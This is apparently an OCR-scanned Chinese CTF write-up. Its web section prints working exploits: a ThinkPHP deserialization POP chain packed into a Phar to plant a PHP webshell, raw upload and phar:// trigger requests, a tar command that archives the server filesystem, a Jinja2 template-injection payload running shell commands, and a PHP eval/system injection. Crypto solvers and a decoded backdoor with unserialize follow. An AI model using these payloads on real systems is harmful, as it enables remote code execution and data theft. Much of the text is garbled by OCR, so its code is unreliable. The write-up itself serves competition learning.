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<?php

namespace think\process\pipes {
class Windows {

private $files [1;

public function _ construct($files)

s

L

$this->files [$files];
Pivot(); ModelZi%%




namespace think {
abstract class Model{

[1;
null;

function _ construct($output, $modelRelation)
{

$this->parent $output;
think\console\Output;

$this->append = array(

iR [Elthis->error

$this->error $modelRelation;

EN relationZKiF K, FHHBROnetoOneHIFHK

namespace think\model{

use think\Model;

class Pivot extends Model{

function __ construct($output, $modelRelation)

{

parent:: construct($output, $modelRelation);

namespace think\model\relation{
class HasOne extends OneToOne {
}
}

namespace think\model\relation {
abstract class OneToOne

{

protected $selfRelation;
protected $bindAttr [1;
protected $query;
function _ construct($query)

{
$this->selfRelation 0;

$this->query = $query;
$this->bindAttr [ 1z

namespace think\db {

class Query {

protected $model;

function _ construct($model)
{

$this->model $model;
think\console\Output;

namespace think\console{
class Output{
private $handle;

HasOne




__construct($handle)

styles [ 1;
handle =$handle;

think\session\driver\Memcached

namespace think\session\driver {
class Memcached
{
protected $handler;
function _ construct($handle)

{
$this->handler $handle;

namespace think\cache\driver {

class File

3600,
false,

tag

namespace {
$Memcached new think\session\driver\Memcached(new
\think\cache\driver\File());
$0utput = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows (new
think\model\Pivot ($Output, $HasOne));
echo serialize($window);
echo base64_encode(serialize($window));

new Phar( )

startBuffering();

setStub(

setMetadata($window);
addFromString(

stopBuffering();

)




BPOST /public/index.php/index/index/upload HTTE/1.1

Host: at080904.1lxctf.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64; rv:83.0)
Gecko/20100101 Firefox/83.0

Accept:

text/html,application/xhtml+xml, application/xml;g=0.9, image/avif, image/w
ebp, */*;q=0.8

Accept-Language: zh-CM,zh;g=0.8, zh-TW;g=0.7, zh-HK;g=0.5, en-
US;g=0.3,;en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=----—=——-—=————=——c—mmememcae——-
-13%087197228008034012754605521

Content-Length: 1199

Connection: close

Upgrade-Insecure-Requests: 1

----------------------------- 139087197228008034012754605521

Content-Disposition: form-data; name="file"; filename="suanve"

Content-Type: image/jpeg

GIF89a<?php _ HALT COMPILER(); %>
€00:27:"think\process\pipes\Windows":1:
{s:34:"think\process\pipes\Windowsfiles";a:1:
{1:0;0:17:"think\model\Pivot":3:{s:9:"*append™;a:1:
{5:3:"xxx";5:8:"getError"; }s:8:"*error";0:27:"think\model\relation\Has0On
e":3:{5:15:"*selfRelation";i:0;s5:11:"*bindAttr";a:1:
{i:078:3:"xxx";}s:8:"*query";0:14:"think\db\Query":1:
{s:8:"*model™;0:20:"think\console\Output™:2:
{s:28:"think\console\Outputhandle";0:30:"think\session\driver\Memcached"
:1:{5:10:"*handler";0:23: "think\cache\driver\File":2:
{5:10:"*opticona™;a:5:

{s:6:"expire”;i:3600;5:12:"cache subdir";b:0;s:6:"prefix";5:0:"";5:4:"pa
th";s5:129:"php://filter/convert.iconv.utf-8.utf-7|convert.basebd-
decode/resource=aaaPD%waHAgQGVZYWWwo F3QTINUWydj¥2MnXSkTPzdg/ . . /public/a.
php"is:13:"data compressT;b:0;)s:6:"YcagT ;e 3 Manx"r e "hstylesTazl:
{i:0;5:7:"gethttr"; 1} }}s:6:"parent";r:11;}}}1.phpl; @299~ x¢|

©© 9, nPIGEME L e e
----------------------------- 13908?19?228G{IS034012754605535E}J\\r%—ﬂﬁ|’§:{%
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POST /public/index.php/index/index/upload?FILES[file]
[name]=phar://suanve&FILES[file][tmp_name]=phar://suanve HTTP/1.1
Host: 26080904.1xctf.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)
Gecko/20100101 Firefox/83.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,*/*;0=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;gq=0.7,zh-HK;gq=0.5,enUS;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary
-139087197228008034012754605521
Content-Length: 1199
Connection: close
Upgrade-Insecure-Requests: 1
139087197228008034012754605521

Content-Disposition: form-data; name ; filename
Content-Type: image/jpeg

__HALT_COMPILER(); ?

:3:{s:15:
i:0;s:3: ;}s:8:
:8: ;0:20:
128:
HOHPSE
;a:5:
;1:3600;s:12:

;b:0;}s:6: 5333)¢ 5})s:9:
53 }}s:6: 5r:11;3}}3}1.phpQ; 2O & O~x©
@ VQ0*O,mO3GBMB
139087197228008034012754605521 - -

Hshell

JAnaLLess>
3 1jpg
a.php8db7a8c80e67e908f96fbf22dde11df3.php
a.php12ac95f1498ce51d2d96a249c09c1998.php
exp.jpg
expl.jpg
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POST / HTTP/1.1

Host: 8a5ef@41.l1lxctf.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)
Gecko/20100101 Firefox/83.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,*/*;0=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;gq=0.7,zh-HK;gq=0.5,enUS;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary
-23603960162831012392270557328
Content-Length: 654
Origin: http://8a5ef0@41.1xctf.net
Connection: close
Referer: http://8a5ef041.1xctf.net/
Upgrade-Insecure-Requests: 1
23603960162831012392270557328

Content-Disposition: form-data; name ; filename

dir /

tar cvf
/var/www/html/upload/d7efaae655f6177619403045edc9ae32/2.tar / --
exclude=/bin --exclude=app --exclude=home --exclude=root --exclude=run -
-exclude=1ib --exclude=sys --exclude=tmp --exclude=usr --exclude=var --
exclude=mnt --exclude=opt --exclude=etc --exclude=dev --exclude=boot --
exclude=bin --exclude=proc --exclude=sbin --exclude=sys --exclude=mnt

23603960162831012392270557328- -




o®e Flag Bl X BaSef0dllxctf.netjuploadidietases X +

Ui e f L 500 O 8 8a5ef041.Ixcti.netjupload/d7efaae655(6177619403045edc9ae32/ shtmi 8w

app home root start sh bin lib run sys boot 1ib64 run.sh tmp create_mysgl_admin_user.sh media sbin usr dev mnt srv var etc opt start-apache2 sh FATfAL11111aaaaad444pgpep proc start-mysglc
Nib64/1d-linux-x86-64 50.2 /create_mysql_admin_user.sh /srv/ /start.sh /fffAL1111 1ananaddddpegpg

(), ED|S¢ %

CSDN @EDI% 4
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create_mysqgl_admin_user.sh
fiffffllll1111aaaaa444499999g
> 77 lib64

.. run.sh
> @@ srv
. start-apache2.sh
start-mysqld.sh
start.sh
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CSDN @EDIZ 4

flag{c62e7f0dd42546cc9a13b167d184cc3b}
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http://blog.y4tacker.top » 2021/01/30 > year» 18 » H... v IMABZE

HTTPoxyiEfE(CVE-2016-5385)8 I}
202118308 — #RiERFC 3875817, CGI (fastcgi) EAFPENNERBEHTTPLAR N L
HTTP_ RIS ... "User-Agent”: "GuzzleHttp/6.2.0 curl/7.38.0 PHP/5.6.23",

= Lyrapd T4

: ) e =
CeDN @E D[R4
CoDNM@eDlZcze

3 Date: Sat, 30 Jan LUZL1 Ud:dd:dd GMT

4 Content-Type: application/json; charset=utf-8
5 Connection: close

6 X-Powered-By: PHP/5.6.23

7 Content-Length: 261

B

9

{
10 "args": {},
11 "headers™: {

12 "Host": "httpbin.org",

13 "User-Agent": "GuzzleHttp/6.2.0 curl/7.38.0 PHP/5.6.23",

14 "¥X-Amzn-Trace-Id": "Root=1-6015lcle-2bTcae3l6e794383484d7c71"
15 ¥

16 T"origin": "4X.1XX.lxx,2xx",
17 "url®: "http://httpbin.org/get"

Femn M EkEs
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Hrorigin#B 4Bl N RAR 528001, 78 HoAth b 77 /8 3 — 7T BUEH fEF ihttp A2,  fnhttp://..122.65:8888/, [ proxy:
http://..122.65:8888/, ¥k i} I http://your-ip:8080/index.php, kit HIOriginE & 28 ii*.*122.65, i R RATH Z vl LAV E IR, 7E
RS/ THE - NbEEAEN

HTTP/1.1 200 OK

Server: nginx/1.14.2

Data:Fri, @6 Mar 2020 18:27:31 GMT
Content-Type: text/html; charset-UTF-8

Connection: Keep-alive
Content-Length: 16

1yes}
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GET / ETTE/1.1

Host: 113.201.14.253:14980

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =x=64; rv:83.0)
Gecko/20100101 Firefox/83.0

Accept:

text/html, application/xhtml+xml, application/xml;g=0.9, image/avif, image/w
ebp, */*;g=0.8

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-
Us;qg=0.3,en;g=0.2

Accept-Encoding: gzip, deflate

Connection: close

Proxy: http://36,.255.221.156:801/

Upgrade-Insecure-Requests: 1 ey EDIgS

Cache-Control: max-age=0 CSON @EDIE 4

flask
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jnamed=pop

GET /admin?name=

{{() |lattr(request.cookies.namel) |attr (request.cookies
t.cockies.name3) () |attr (request.cockies.named)
{(118) |attr (request.cookies.nk) |attr (request.cookies.n
kies.n8) ('popen') ('cat%20/flag') |attr (request.cookies.r
HTTP/1.1

Host: 708aafeB.lxctf.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; x64
Gecko/20100101 Firefox/83.0

Accept:

text/html,application/xhtml+xml, application/xml; g=0
ebp,*/*;g=0.8

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7, zh-HK;g=0
US5;g=0.3,en;g=0.2

Accept-Encoding: gzip, deflate

Cookie:

namel= class ;nameZ= base ;name3=_subcla

;né= init ;n7= globals ;n8= getitem ;n9=read;
Connection: close

Upgrade-Insecure-Requests:

.name?) |attr (reques

attr (request.coo

}l1&a=.js7?

G o

vif,image/w

;nameS=read

| j EDIEJ!,J
CSON @EDI%
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Request
\n  Actions v

1 GET fadmin?name=
{{()|attr(request.cookies.namel) |attr{request.cookies.name2) |attrirequest.cookies.name3) () |attr{request.cookies.n
amed) (118) |attr{request.cookies.nb) |attri{request.cookies.n7) |attr{request.cookies.n8) ('popen') (' caths28/flag') |att
rirequest.cookies.n9) () }}&a=.js? HTTP/1.1

Fretty NSEST

2 Host: 7@8aafe8.lxctf.net

3 User-Agent: Mozilla/5.@ (Windows NT 10.8; Win64; x64; rv:83.8) Gecko/20100181 Firefox/83.8

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp,*/*;q=0.8

5 Accept-Language: zh-(N,zh;q=8.8, zh-TW;g=0.7,zh-HK;g=0.5, en-US;q=0.3,en;g=0.2

6 Accept-Encoding: gzip, deflate

7 Cookie: namel=_class__;name2=__base__;name3=_ subclasses__;named=pop;nameS=read;nb=__init__;n7=__globals__;n8= 1
—getitem__;n9=read; 1

1

& Connection: close

9 Upgrade-Insecure-Requests: 1
18

11

RCE_No Para

EIEN, £SHRCE d3 Tend, EresetBE i

Response

@Vl Raw Render 'n  Actions v

1 HTTP/1.1 28@ OK
2 Content-Length: 79
3 Content-Type: text/html; charset=utf-8
4 Date: 5at, @8 Jan 2022 06:40:38 GMT
5 Server: Werkzeug/2.8.2 Python/3.6.9
& Connection: close
7
8
9 hello [flag{eadde5fB848eed09105ee2724c917281c}
(.
1 <!=—admin/7name=——:>
2
= (e
A |— J 171" o g

;SDN @EDI%?
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Request Response
' m Hex W = Raw Hex Render \n =

GET /?b=system (%22cat%20f1ag. php%22) ;&code= HTTP/1.1 200 OK
eval (reset (current (get_defined vars()))); HTTP/1.1 Content-Type: text/html; charset=UTF-8
Host: 892e4872. lxctf. net Date: Sat, 08 Jan 2022 09:37:35 GMT
Upgrade-Insecure-Requests: 1 i Server: Apache/2. 4. 25 (Debian)

{ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: Vary: Accept-Encoding
x64) AppleWebKit/537.36 (KHTML, like Gecko) 6 X-Powered-By: PHP/5. 6. 40
Chrome/97. 0. 4692. 71 Safari/537. 36 7 Content-Length: 56
Accept: Connection: close
text/htnl, application/xhtml+xml, application/xml ;q=0
. 9, image/avif, image/webp, image/apng, */#%:q=0. 8, appli 1 ?php
cation/signed-exchange:v=b3:q=0.9 $flag="flag{20clad2b4d6dba9l c5aabdd6ae31e5bd}”;
Accept-Encoding: gzip, deflate >

7 Accept-Language: zh-CN, zh;q=0. 9, en;q=0.8
Connection: close
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Crypto
no_can_no_bb

from Crypto.Util.number import

from Crypto.Cipher import AES

c=b "' \x9d\x18K\x84n\xb8b | \x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q
\x96e\x9e\xb8MQ\xd5\xc3\x1lc"'

def pad(m):

tmp 16-( (m)%16)

return m ([tmp for _ in (tmp) 1)
def decrypt(m,key):

aes = AES.new(key,AES.MODE_ECB)

return aes.decrypt(m)

for i in (1,1<<20):

print(i)

pad(long_to bytes(i))
decrypt(c,key)

if flag[:5]

print(flag)

break

math



from Crypto.Util.number import

import gmpy2
pinvg=0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a4332921614655431
57854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb31567902b3
ginvp=0x79388eb6c541fffefc9cfbO83f3662655651502d81cccOBecdel7a75f316bc97
28d888286121b1235bdelf35efel3f8b3edb739c8f28e6e6043cb29569aale7b
c=0x5a1e001edd22964dd501eac6071091027db7665e5355426el1fadc6360accbcOll3c7a
36da88797de1960abe9f1cf9ad9b8fd837b76fea7elleac30a898c7a8b6d8c8989db07c2
d80b14487a167c0064442el1fb9fd657a519cac5651457d64223baa30d8b7689d22F5F379
5659ba50+fb808b1863b344d8a8753b60bb4188b5e386

e=0x10005
d=0x2e285803302de933cfc181bd4b9ab2ae09d1991509cb165aal650bef78a8b23548bb
17175f10cddffcdelalcf36417ccO80ab22alf8c64deb6d16667851942375670c50c5a32
796545784f0bbcfdf2c0629a3d4f8e1a8a68312aa63971f8el26c2ef75e08f56d16elecsd
92cf9d26e730eaeddla3fecbbb5db81e74d5195f49F1

(2,phi,kq)-1
q=GCD(kq, kqq)
if q.bit_length()>500:
kp=(phi-1)*ginvp+1
kpp (2,phi,kp)-1
p=GCD(kp, kpp)
print(p.bit_length(),q.bit_length())

p=1303702224877648545576565799076003164973817238229197143127008834829367
982672612455031215887389631091682249467891376796844393916171631887202257
7275748319923
0=1012877255960147107235392377984664105100471895516949477794647938522980
375774493107838491446158738030776714657812412355872497739136815733243378
8725638715891

print(long_to_bytes( (c,d,p*q)))

LinearEquations

data [2626199569775466793, 8922951687182166500, 454458498974504742,
7289424376539417914, 8673638837300855396 |

n 10104483468358610819

G=Zmod (n)
A=Matrix(G,[[data[@],data[1],1],[data[1],data[2],1],
[data[2],data[3],1]])

B=vector(G, [data[2],data[3],data[4]])

foo=lambda x: . fromhex( (x)[2:]).decode()
X=A"-1%B

m=[X[1],X[e],X[2]]

m ( (foo,m))

m .join(m)

print( m)

no_mah_no_cry




from Crypto.Util.number import

import gmpy2

def sec_encry(m):

(m - (1<<500))**2 + 0x0338470
return cip
def sec_decry(c):
r,o=gmpy2.iroot(c-0x0338470,2)
if o:
return (1<<500)-r

c=1071508607186267320948425049060001810561404811705533607443750388370351
©51124821167148914540047113004971294718850561218422071194997468927531634
565607953858338909586981894281712724527860169512427162666804525047687772
663818239661458780792545773542871997287494427917212841150020911140650711
2585996098530169

m=sec_decry(c)

flag=long_to_bytes(m)

print(flag)

no_cry_no_can

from pwn import

C

El

key=xor(a,c[:5])

block _len (c) (key)

new_key key block_len

EE] ([irj for i,j in (c,new_key) 1)
print(aa)

Misc
ez_Encrypt

TR E, FHHTTPX R IR web 123/ % A1 15 2 31+

Last build: 4 months ago Options ¢ About / Support 0
Recipe a [ ] i Input 5 %

FRET LPR DB SHE L T A MBS TIY LU E DR | BRI MR L P £ 3R
From Base6d | dmyuZGOyL 3RvcHRoaWS rL2Zy YWl ld 29y aydzcmMvdGhpbms vy 20uc 295259 §b2 1 tvWs kL 21ha2uv
CIR1Y MY 29udHIvbGx Lo iSheGhuc SR1Y IVUDQAHACXAY L Ty WG bUE L hdXg LAAE ESQEAAAQUAAAA
phabet UESBAhQDF AATAAAGF v 2U JFOTRK JAQAAMWIAAE s ATAMAAMAAAAAAAKSBL FALAHE 1 bRt v e 19003BG
A-Za-z8-9+/= a6 uayImemFtZXdvemsve 317 L IR0EWSTL ZNvbnbivbGLWY 201 bWFUZCotYWE 1L INadWl zL 2Nvbk1h
bmue 3RTY IVUDQAHAEXAY Tt TyWGbUE L hdXgLAKE ESQEAMMIUAAAALIE sBARODF AATAMEAGF v2UkbE
Iy IHAAAAXAAAAFQAT AAAAAAANARAAKSBETELAHZ 1 biRve 1980 3B0a6 LuaydmemF tZXdvems ve 33§
L3Roak5rL 2NvbnlNvbGUYY 29t blF UZCItYWE 1L INSdWIZL ZNvBnRY b 2x 5 ZXT ucGxhakd e 3R1Y1VU
DQAHAEXAY Tt TyWGhUE L haXgLAAE ESQE AAMDUIAARALE s BARGDF ARAAAMAEGEDLIWARARAAAANAARAL
ABUATAAAAAAAAMAAADT B2PTLAHZ pZXevAWONAAERUE 1 1P YRNWYWF LeAs AAQT LAQAABBQAAABD
SWECFAMUAAEACAAQDPT T1TACQGRAAADSANAADMAZ AAAARAAAAAAATYEDBIWS AX TINQUNPULEVL 192
AWV IVVONAREXUS T hE 1P TYWS FyWF 18AsAAQT 1AQAABBQANABOSIWE CFAMUIAAZACADSGIBTCESPUZTA
AAAEAMAADRARAAAMARAAAAAAD TH] BwsAdm] 1dy9SRUFE TUULBWRVVABABOBSu2GSUA] hk1PIYXVA
CWABBPUBAAAEFAAAAF B LBOYAAARADAMAAZ 2RAQE 2 9AS ANAA

Remove non-alphabet chars
To Hex
Space e

BO® 3

58 4b 83 84 14 80 00 80 B0 80 cE 74 9b 53 00 80 60 00 B0 0D 00 o0 0D DB 00 BB B4 PO 20 OB 61 TO
7@ 2f 55 54 @d a0 87 58 5F ¢9 61 58 5F ¢9 61 58 5F ¢9 61 75 78 @b 90 01 94 5 21 00 90 84 14 09
80 8@ 58 4b 83 @4 14 9 98 B0 @8 99 8 74 9b 53 00 00 00 02 0D 02 02 0 d2 B9 0D B9 Be 0D 20 BO
5f 5f ad 41 43 af 53 58 2f 2e 5f 61 70 7@ 55 54 od @@ @7 58 5Ff 9 61 58 5Ff 9 61 6F 5F €2 61 75

Output




78 b 00 81 04 5 81 @0 80 B4 14 @0 80 00 63 60 15 63 67 60 62 60 o 4d 4c 56 fo of 56 88 50 80
82 92 18 @3 27 18 1b @1 1 82 20 @6 f1 2f 31 12 05 1c 43 42 82 ad 4c 99 8e 15 48 ac 85 a6 84 11
21 ae 92 9¢ 9f ab 97 58 50 90 93 aa 97 9b 5a 92 98 92 58 92 68 15 9f ed eb €2 59 92 9a 1b 5a 9¢
5a 14 92 98 Se cc CP 99 54 99 93 59 5S¢ 62 60 bd £0 03 6a 00 23 92 49 CH 80 13 00 50 4b @7 o8 9%
de @2 ag 6d 90 90 00 d2 90 90 @0 50 4b 03 94 14 00 08 00 08 00 d2 a8 00 53 00 00 0D 0@ 02 0B 00
90 90 01 00 90 @d 00 20 @0 61 70 70 2f 65 76 65 6e 74 Je 70 68 7@ 55 54 od @@ @7 dd 39 bb 61 &d
53 ¢ 61 Bd 53 ¢3 61 75 78 6b 90 @1 @4 5 91 @0 00 84 14 00 80 @@ b3 bl 2f -7 28 ed d2 d7 57 ?9

b2 ab fb c9 ee &6d 4f d7 cd 7a b2 b3 3 do b4 76 28 9b ab 28 bS a4 bd 28 dt\ / -3 ,e_)?»—,.u (e
STEP Ty BAKEl 32 £3 52 d4 15 ¢@ c@ d6 Be 2a 18 ab €3 85 91 ¢c €9 2¢ 2e 49 ¢d 53 A7 9N BrJ .-1,'.';* -‘a 16 .._.,J,
A |J ."r. J e
Auto Bake 96 a8 43 ¢4 81 ea el 32 1e 25 25 95 41 a5 79 38 64 5c ¢1 96 al ¢b f8 ed :I.r—"ru‘utJl 6 w5 uJ "‘_

fif 46 A AN ThinkPHP6.0MESE, ELIEDEH, KILAIBESMFIndex.php.

bitea)) 1HEA F fiZekadia
F\milsc\nice\app\controller\index. php 3 (%) (o153 ) T2 (basebd_. . 14392 2022-01-08 17:09:15
F\misc'nicewendor \league \flysystem—cached—a. .. I clazs 532 2020-07-25 23:56:04
Fimisehnicelvendor\topthink\think—orm\stubsh. . . 1 class 1734 2021-11-30 22:31:05
F\mizc\nice\vendor\league\flysystemisrciadap. .. 1 use funection 14029 2021-12-09 17:40:50
Fi\misclnice\vendor\topthink\framework\sre\th. . . 2 ReflectionFunctiondi|H 16332 2021-07-22 11:24:49
Fimiscini celvendor\topthink\ frameworkisreith. . . 2 (M) Z8i# (Spipeline) 35 .. 2673 2021-0?-22 11:24:49
Fimisc\nice\vendor\lesgue\flysystem'\sro\adap. . . 1 E1E 74 = 893 2- ~'l2,‘—‘3F ,—19/50
Fimischnice\vendor\ topthink\framework\sre\th. . . 1 RIS ¥ 17856 20 A7 Z

J_A_.Jl I r”' 'r'{_".:—-..

phpizfT, Kevaliiecho, BEBEMHMIIEITER.

P-to=ell PHP TR v »EE = R RN

p define (' IKISux1227', FILE_): $VCBZOQW="goMTQheqialOubmYfRISTkWNndEsPZGjAKpC
PRr=base64_decode ("b A‘-f“‘-"‘-"t‘:'ﬁ*ﬂ“' \W\F R jZse : VIBIHWDFxczXLivyYTeiluPngpsyqboOihjFIZNSwzmMHGYD
_ <wrt»m :n :EE;: . oo xtkXVaWfdAJErRKLCBQeHJ9ApdxYGyWopN5SBIXzZhBuupZ i
?;.ﬂ'o' Sar(:’fL".fF:DGln:'t:‘n.'zﬂ'.-_,“.-"f ; cDf3jerjF 2rizLYrcDf 3tiMZGmjni09jHNjuR2s 2SE9ZGNSQGvs Tf
o 0jnhDGGRIBONVhNO2hqsLzuVmZEuXSvhOhDVCpBKKO21
Op 1kbbvGpV2unOKSZzZ5)2v1 SPohrO1z4zEzqiDVGC1GUVV
As1SWUZ5sFEKTVZVMBVELGEjDbBfKVOuAzNmAzdzFhVkksN
rpb1z0pEhpVKBWIDWZ hwELsBGIGKD9fgZ 7jmk 3bZu1VKOZG
mijni09NKSzCghZUokHiDBbS BOqjvhXpZ 9HFVMKc10qjvhXp
LIHFVMEKCEDTjdGhivedFKOZGmjni09jNKcKLFAZGmjni09jNK
MALFAZGmjni09jNKFOLFAZGmjniD9jNKmALFAZGmjni0g9jNKF
OLIMZNNGMzwGsHFh2ssrwh0abcEOqjvhXpZ9HFVMryEOqjv
hXpZ9HFVMEKLF4ZzBEcG0zCNKWzCghZssrwh0abcVOgjvhX
pZ9IHFVMeSE07jv1 EUVEVOKOZGmjni09jNKzzCghZ UokHi0OB
beiSzyehtz25fzVRqHFhZUokHi0BbcDjzCghZUokHi0OBbcKGz
CghZUokHi0BbcDBzCghdUokHi0BbcDGzCghZUokHiOBbcK
WzCghZUokHi0DBbcKjzCghZUokHiOBbcKVzCghZUokHi0Bbc
DGzCghZUokHiOBbcKWzy2V20NATjmk3bZu 1VeYgFZVpiVTr
RdkNpDWKVEVORBTeSLhshNrMsNrppBjONoBZhNhEGNaTO
VGNGmMjZV1TKV0zvSVjaPEVDFmMS5NLzAhvfepEjVcoris2rMS
EUKhZ9VhViVWSMzVTAZEWghNuFOKjps1ZKNBzBbvhSVZV
y;}VHNRIWp\«"NerH.}WNhWth\(]VNIJKWUXPVV:LHHKV{N
es2 1APNEEhZ jBporMVBVApvVWVhBuyhIW Ui er’-lﬁl 720tPDY

'] 15 f‘F1

L4 > Sl ] / v
IFWZ0p1SqGAVIFEGOFOSFCBVVPVSFedSte” *) ity ) i EE £y
CSDN @EDI% %
—HE [ T &5 R

sebase64_decode

estrtr

fEsubstr

i
el



echo(base64 decode(strtr(substr('RLNvMxzhcDFOtBVGQZIwndmrlTUCKEigfyYjSsq
APJupbHeaXWkotyIikcSgaAqoTZPGeEKBLMRpnQWf1DYCNFswmzXVvHjbUuxJrOhdvA9BJIuV
1URQTErIBsOINKGgBaqcwU250aR9zUGPFoBd1MrInKGgBaqcfsrIne29jMuHiUGecnawz1fRI
zsrISKDNnjEGP4KGP4MGPjEukCeRQSEWIiULtFU2czErK1xBdCKfVCauPYUGNwKGE1IURI®JIO9
jKGNjEGP41fh1KfVCKuz1KFVCKFVCKFZbEYCgEO1BMuhdHqOutPtUH3ZiafMM1mn7FYVCKFV
CKFVCKFVCKuPja2PFJ0qzJrbnlGHga2W2Iq9hEOIiEGWdHqOutPtUH3ZiafMM1mh7fYVCKFV
CKFVCNedCKFVCKFVCKUHNMUPFUYVYP2Pzs29TKqtiKDIZOnegKqgbH2qjKDIiUOWCQ24gKwz
1KFVCKu@1fYVCKFZBMOHZzIJOKCELPjs3tbU24CeSt6xWkBUQIVUYCbTYVCKFZ7FYVCKFVCKFV
CaRPOMrHjKfMwsrb5x1ZKWqoXJQtTkP8cal9SkAVBKAZNk2gQxrn5xrn5xrn5xrn9HSz 1KV
CKu@1Ned RLNvMxzhcDFOtBVGQZIwndmrlTUCKEigfyYjSsqAPJupbHea
XWkotyIikcSgaAqoTZPGeEKBLMRpnQWF1DYCNFswmzXVvHjbUuxJrOhdvA9BJuV1URQTErIB
sOInKGgBaqcwU250aR9zUGPFoBd1MrInKGgBagcfsrIne29jMuHiUGcnawzlfRIzsrISKDN]j
EGP4KGP4MGPjEukCeRqQSEWIiULtFU2czErK1xBdCKfVCauPYUGNwKGE1URI®OJIO9jKGNnJEGP4
1Th1KFVCKuz1KFVCKFVCKFZbEYCgEO1BMuhdHqOutPtUH3ZiafMM1mn7fYVCKFVCKFVCKFVC
KuPja2PFJ0qzJrbnlGHga2W2Iq9hEOIiEGWdHqOutPtUH3ZiafMM1mh7fYVCKFVCKFVCNedC
KFVCKFVCKUuHNMuPFUYVYP2Pzs29TKqtiKDIZOnegKqgbH2qjKDIiUOWCQ24gKwz1KfVCKuol
TYVCKFZBMOHZzJOKCELPjs3tbU24CeSt6xWkBUQIVUYCbTYVCKFZ7fYVCKFVCKFVCaRPOMrHj
KfMwsrb5x1ZKWgq9XJQtTkP8cal9SkAVBKAZNk2gQxrn5xrn5xrn5xrn9HSz1K{VCKu@1Ned

RLNvMxzhcDFOtBVGQZIwndmrlTUCKEigfyYjSsqAPJupbHeaXWkotyI
ikcSgaAqoTZPGeEKBLMRpnQWF1DYCNFswmzXVvHjbUuxJrOhdvA9BJuV1URQTErIBsOInKGq
BaqcwU250aR9zUGPFoBd1IMrInKGgBaqcfsrIne29jMuHiUGenawzlfRIzsrISKDNnjEGP4KGP
AMGPjEukCeRqSEWIiULtFU2czErK1xBdCKfVCauPYUGNwWKGE1URI®IO9jKGNJEGP41fh1KFV
CKuz1KfVCKFVCKfZbEYCgEO1BMuhdHqOutPtUH3ZiafMM1mn7fYVCKFVCKFVCKFVCKuPja2P
FJ0qzJrbnlGHga2W2Iq9hEOIiEGWdHOutPtUH3ZiafMM1mh7fYVCKFVCKFVCNedCKFVCKFV
CKuHNMuPFUYVYP2Pzs29TKqtiKDIZOnegKqgbH2qjKDIiUOWCQ24gKwz1KFVCKud1fYVCKfZ
BMOHzJOKCELPjs3tbU24CeSt6xWkBUQIVUYCbTYVCKFZ7fYVCKFVCKFVCaRPOMrHjKfMwsrb
5x1ZKWq9XJIQtTkP8cal9SkAVBKAZNk2gQxrn5xrn5xrn5xrn9HSz1KfVCKu@1Ned=",0,52)
)))s

PHP fEEE TR # - T = BRI

<7php

ebo(hasnbil dso strtrisubstr(’ RLNwMxzhcDFHBYCO? Tvndmr] TICKE i gfvY 15 saAP TuphHeaXFk . "
echo(basetd_decode (striri{substr( ELAvMxzheDFOtBVGEE Ivndmr] TUCKE: gfvY i550AP JupbHeaXRlkod namespace apphcontroller;

use app\BaseController;

class Index extends BaseController
. public function index()
-Imﬁmmvﬁcllﬁwptﬂ
unserialize(basetd decode($ GET[ popT);
;L't'.llil "Welcom To CAZT! Xi'an Come On!™;

public function C4zyC0m30n()

retum "cazy{PHP_jidm1_1s_s00000_3aSyywwywyyyyy)’

binary



234K g zipa, Fjd-guidT I+

bytes#%string

java.util.Base64;
class test {
static void main(String[] args) throws Exception {
{
68, 65, 119,
120, 77, 68,
68, 65, 120,
119, 77, 84,
68, 65, 119,
120, 77, 84,
84, 69, 119,
120, 77, 84,
84, 69, 120,
120, 77, 84,
68, 69, 119,
119, 77, 68,
84, 65, 119,
120, 77, 68,
68, 69, 119,
117, 77, 68,
68, 69, 120,
120, 77, 84,
84, 65, 119,
120, 77, 68,
70, 120, 117,
120, 77, 68,
84, 65, 120,
119, 77, 84,
84, 69, 120,
126, 77, 7
84, 69, 120,
120, 77, 68,
68, 65, 119,
119, 77, 68,
84, 69, 120,

arrayOfByte
68, 65, 119, 77,
119, 77, 84, 69,
68, 65, 119, 77,
120, 77, 84, 69,
68, 65, 119, 77,
117, 77, 68,
68, 69, 119,
120, 77, 68,
68, 65, 119,
120, 77, 68,
70, 120, 117,
120, 77, 68,
84, 69, 120,
120, 77, 84,
68, 69, 120,
120, 77, 70,
68, 65, 120,
119, 77, 68,
68, 69, 120,
119, 77, 84,
68, 65, 120,
119, 77, 68,
84, 65, 120,
119, 77, 84,
84, 65, 120,
119, 77, 68,
68, 69, 120,
119, 77, 84,
68, 65, 119,
119, 77, 84,
68, 69, 120,

77, 68,
65, 119,
77, 84,
69, 120,
77, 760,
69, 120,
77, 84,
69, 120,
77, 68,
69, 120,
77, 68,
65, 119,
77, 68,
69, 120,
77, 68,
69, 119,
77, 68,
65, 119,
77, 68,
69, 119,
77, 68,
69, 120,
77, 84,
69, 119,
77, 68,
120, 117,
77, 68,
69, 119,
77, 84,
65, 120,
77, 70,

77,
69,
77,

77,
69,
77,
65,
77,

77,
65,
77,
65,
77,
65,
77,
69,
77,
65,
77,
69,
77,
65,
77,

117, 77, 68,
68, 69, 119,
119, 77, 84,
